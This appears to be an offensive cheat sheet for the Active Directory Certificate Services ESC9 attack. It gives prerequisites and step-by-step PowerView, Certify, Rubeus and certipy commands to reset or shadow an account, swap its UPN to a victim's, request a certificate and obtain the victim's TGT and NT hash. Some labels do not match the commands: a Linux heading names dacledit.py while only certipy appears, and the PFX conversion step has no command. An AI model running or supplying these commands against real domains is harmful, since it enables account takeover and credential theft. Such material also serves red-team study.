ESC9

To exploit ESC9, ensure the StrongCertificateBindingEnforcement key is not set to 2 or includes the UPN flag, the template has CT_FLAG_NO_SECURITY_EXTENSION, specifies client authentication, and the attacker has GenericWrite privilege on account A to compromise account B.

Windows

User's Password Reset

PS /home/bobbuilder> Set-DomainUserPassword -Identity <account_name> -AccountPassword $((ConvertTo-SecureString <new_password> -AsPlainText -Force))

Change the user UPN to the target's UPN

PS /home/bobbuilder> Set-DomainObject <account_name> -Set @{'userPrincipalName'='<target_name>@minions.com'} -Verbose

Request as the user

PS /home/bobbuilder> .\Certify.exe request /ca:<ca> /template:<template_name> /altname:<target_name>

Convert certificate to PFX

Retrieving the TGT of the victim

PS /home/bobbuilder> .\Rubeus.exe asktgt /user:<target_name> /certificate:<target_name>.pfx /getcredentials /nowrap

Linux (Using Impacket's dacledit.py)

Get the NT hash of a user

bob$ certipy shadow auto -u user1@minions.com -p 'password1' -account <account_name>

Change the user UPN to the target's UPN

bob$ certipy account update -u user1@minions.com -p 'password1' -user <account_name> -upn <target_name>

Request as the user

bob$ certipy req <account_name> -hashes <account_hash> -ca <ca_name> -template <template_name>

Revert changes of the user

bob$ certipy account update -u user1@minions.com -p 'password1' -user <account_name> -upn <account_name>@minions.com

Authenticate as the target

bob$ certipy auth -pfx <target_name>.pfx -domain minions.com